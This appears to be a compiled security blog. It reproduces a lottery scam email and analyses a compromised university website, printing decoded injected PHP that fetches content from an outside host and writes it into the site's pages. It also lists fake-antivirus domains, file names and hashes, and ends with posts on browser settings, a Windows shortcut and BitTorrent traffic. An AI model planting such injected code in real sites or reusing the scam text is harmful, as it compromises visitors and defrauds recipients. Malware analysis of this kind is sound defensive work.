SPAM Mails: Part 1

Below is the SPAM mail which I received in my INBOX. To make it realistic spammers had gone one step ahead and provided with contact numbers and few images to make it realistic and entice users to give their personal information.

FROM THE DESK OF THE DIRECTOR:
UK INTERNATIONAL LOTTERY PRIZE AWARD DEPT

WINNING NOTIFICATION FOR CATEGORY "A" WINNER ONLY

Amount Won: £1,000,000.00 Pounds

Dear Lucky winner,

We are glad to inform you that you have won a prize money of One Million
Great Britain Pound Sterlings (£1,000,000.00) in our last lottery promotional
draw.

We are pleased to inform you of the final announcement of the result in
UK INTERNATIONAL LOTTERY PRIZE AWARD DEPT. Your email address was selected by our Electronic Random Selection System (ERSS) from an exclusive list of e-mail addresses of individual and corporate bodies. No tickets were sold.

With Ref.Number: GP 14-M-246-04,
Batch Number: 573881545-UK/2010
Ticket Number: PP3502/8707-01.

CONGRATULATIONS!!!:
To file for Your Claims Please contact.
********************************************
Name: MR JOSEPH POUNCH
Tel:+447014275315
Email: josephpounch18@gmail.com
*******************************************
However you will have to fill and submit this form to the events manager for
verification & direction on how you canclaim your winning fund.
Fill the Details Below:
1. Full name...............
2. Contact Address......
3. Age.........................
4. Mobile Number.........
5. Marital Status..........
6. Sex.........................
7. Occupation..............
8. Company................
9.State:......................
10.Country..................
11.Nationality...............
12.Address.................
13.Valid ID Proof (Send as email attachment)
Your Reference and Batch number at the top of this mail:

Mrs Vivian Jones.
Lottery Coordinator

Most of the netizens fall pray for this and end up providing their information. Above details can be used to crack passwords with intelligent guesses.

Before providing information in reply to such mails think once, "who the hell in this world is going to give free money !!! "

Premier University of Andhra Pradesh Serving Malware.

Couple of days back I reported the infection to few Security Researchers through OWASP. Now Firefox and Google says the same!! If we visit http://www.nagarjunauniversity.ac.in/, Firefox browser alarms you with the following warning

Other way round to make sure whether it is service malicious pages or malware is: type "nagarjunauniversity" in google window and open the first link

Google description about the pages hosted by www.nagarjunauniversity.ac.in is

Real time view of malicious pages and Analysis
Visiting the site welcomes you with script execution, see diagram below
Viewing the source of this page will make you think for a while. Why Chinese and Russian links are present in the page?? Have a glimpse of the code.


Whe I reported the incident on OWASP, base64 encoded code was present on this page. Don't worry? The code is still present but on other pages. When I am writin this blog base64 encoded content was present at the following pages and many more
http://www.nagarjunauniversity.ac.in/administration.asp
http://www.nagarjunauniversity.ac.in/downloads.asp
Source code of either of the pages looks like
If you observe carefully we can see a site which is partially encoded (percentage encoding)
http%3A%2F%2Fbale.ws%2Fshow.php
Google's description had a mention about bale.ws domain.
When we open above site it gets redirected to
http://superpupermegacasino.com/which hosts *SmartDownload.exe*

Details of the EXE at Virustotal is shown as *Win32/CasOnline!Adware*. Further details about the binary can be found at
http://www.virustotal.com/analisis/9709a6f32be02642671f96ee264bae85fc924072ceb1a6f07c94ab94ae77943d-1254763534

Well, decoding the base64 content with base64_decode() method present within the malicious page gives the below script which is passed as an argument to eval(). eval executes the script

error_reporting(0);
$links = new GetLinks();

echo $links->Links;
class GetLinks
{
var $host = "esli.tw";
var $path = "/link.php?site=";
var $site = "";
var $user_agent = "";

var $Links = "";


var $_socket_timeout = 12;
var $_cashe_life_time = 3600;
var $_cashe_file = "cashe.txt";

function GetLinks()
{
if (!is_file($this->_cashe_file) || (filemtime($this->_cashe_file) < (time()-$this->_cashe_life_time)) || filesize($this->_cashe_file) == 0) {

$this->site = isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : $HTTP_SERVER_VARS['HTTP_HOST'];
$this->user_agent = $_SERVER['HTTP_USER_AGENT'];

$this->Links = $this->fetch_remote_file();
if ($handle = fopen($this->_cashe_file, 'w')) {
fwrite($handle, $this->Links);
}

fclose($handle);
}
else {
$this->Links = file_get_contents($this->_cashe_file);
}
}

function fetch_remote_file()
{
$buff = '';
$fp = fsockopen($this->host, 80, $errno, $errstr, $this->_socket_timeout);
if (!$fp) {

} else {
$out = "GET {$this->path}{$this->site} HTTP/1.1\r\n";
$out .= "Host: {$this->host}\r\n";
$out .= "Connection: Close\r\n\r\n";

fwrite($fp, $out);
while (!feof($fp)) {
$buff .= fgets($fp, 128);
}
fclose($fp);
$page = explode("\r\n\r\n", $buff);
return $page[1];
}
}
}
I am not sure what cashe.txt does and what are its contents!
The HTML Tag which is responsible for execution of scripts, malware etc is IFRAME.
Next blog will be most probably SmartDownload.exe binary analysis. Safe Surfing!!!

Personal Antivirus: antimalwarescanner8.com/ best-antivirus8.com/ hqvirusscanner.com/ advancedpcscanner3.com

I typed my search keywords into Google and clicked on few links on the first page of results. One site interested me because it was redirecting me to some other site, the malicious web page whic is redirecting to new page was embedded with unnoticeable flash file named intro.swf. The web page on the redirected site welcomes us with a pop-up window saying "Warning!!!Your system.......". The pop-up warning window is similar across all malicious domains.

If we click OK or Cross(X)/Close button it will take us to fake scanning page depicting real Anti -virus scanning of the PC.
After the scanning it gives the scan results as shown in figure below depicting a real Anti-Virus scan stating various directories on the PC are infected with trojans.
Asks the users to download "Personal Antivirus" to protect their PC.
Clicking anywhere on this page will give a pop-up window to download Anti-virus binary.
If we click on the page for multiple times it will pop-up multiple windows for downloading
Antivirus-[a-f0-9]{3,7}_2031.exe file.If we do "View Source" on above page it will show few interesting javascript files.
Contents of listfile.js were interesting because it had an array of various file names with EXE, HLP, DLL etc extensions.
I downloaded different binary files samples but all the files had same MD5 value. Surprising !!!
Tried to execute the sample on VMware with MS Windows XP SP2 installed. It gives the following memory access error on VM. Is it detecting VM environment?!!
I executed the same sample on MS Windows Server 2003 Standard Edition with SP2 but not able to run the sample successfully.
Don't try to access domains with URI
http://maliciousdomain.com/1/?sess=p2T4yjjxMi01JmlwPTY3Ljk3LjgwLjUmdGltZT0xMjU1MUAMPQZM

sess parameter is changing with every malicious domain. I was littile suspicious with the sess parameters value for base64 encoding, decoding it to ASCII gives
§døÊ8ñ2-5&ip=67.97.80.5&time=12551@ = L
Wow!! It contains an IP Address.

Malicious Domains: hqvirusscanner.com
antimalwarescanner8.com
advancedpcscanner3.com
best-antivirus8.com
antivirus-fast-scan04.com
(new domains might come up soon)
File Name: Antivirus_[a-z0-9]{3,7}.exe
Antivirus-[a-f0-9]{3,7}_2031.exe
File Size: 163840 bytes
MD5: 22fb04afad00ccaeda1f5e5892493d77
Malware Type: Browser Hijackers
Threat Level: High

• File is Packed with unknown packer.
• PEiD doesn't give any packer name.
• OllyDBG throws exception while loading the file.
• Imports few APIs from KERNEL32.DLL

Virustotal results can be found at
http://www.virustotal.com/analisis/6a761c86645ca3b8b808a80f330ffb315dc5c175089abf7f8ff9ea2ddbbc57b2-1252076765

If I successfully run the malicious file then I will post a new blog. Be cautious while surfing the net and when you come across pop-ups!!

Hello MicroSoft...Is SCRIPT Execution Really Safe?!!

I was editing browser settings on IE7 to allow script/applet execution. After saving the configuration I accessed a site which has an applet. As expected browser gave an error message saying " Your security settings do not allow websites to use ActiveX controls installed on your computer. This page may not display correctly. Click here for options..."


But......observe pop-up window ............!!
Scripts are usually safe.......Micro$$$$oft feels that SCRIPT execution is safe!!!


Version details of my browser, IE7, are
Version: 7.0.5730.13
Product ID: 92319-600-1753032-45410
Update Versions: 0

For "Happy Browsing" use Firefox.

Shortcut "Open Command Prompt" here

Very Useful Shortcut "Open Command Prompt here"

1. Open any Folder/directory (already existing on the machine) by couble clicking or press "Windows+E" keys simultaneously.
2. Go to Tools->Folder Options. When you click Folder Options, new window will pop-up.
3. Select File Types.
4. Go to (NONE) Folder found under"Registered file types:".
5. Select "(NONE) Folder"
6. Now press "Advanced" tab.
6. Press New tab.
Action:
Open Command Prompt here

Application used to perform action:
path_to_cmd.exe (e.g. C:\WINDOWS\system32\cmd.exe)

7. Press OK->OK->Close tabs.
After the completion of seven steps above if you click any directory you can see "Open Command Prompt" in the menu which is marked with Red rectangla in the diagram.


Now you can right click on any Folder/Directory on any Windows OS (I tested on Windows Server 2003 with SP2 and Windows XP with SP2) and open Command Prompt from that Directory path.

ZEBRA Protocol and BitTorrent !

I was just checking my mails. Got bored, started Wireshark!!!

To my surprise I saw packets with Zebra Protocol over TCP port 27756.


I didn't understand which application is using this protocol. I googled for the same which said that Zebra is a routing protocol, I was not convinced with the result.

I further analyzed the Packet Capture and used netstat, Task Manager etc. from which I came to know that BitTorrent is using Zebra Protocol. One more thing to add, BitTorrent also uses "BitTorrent" Protocol for communication over TCP.


Further analysis of the PCAP and googling gave information like Zebra is a streaming protocol for P2P communication.

To know about Google Talk Jabber protocol communication with wireshark captures follow below link
http://darshanams.blogspot.in/2008/11/deciphering-google-talk-jabber.html

For Bittorrent detection signatures
http://darshanams.blogspot.in/2012/07/bittorrent-useragents-and-detection.html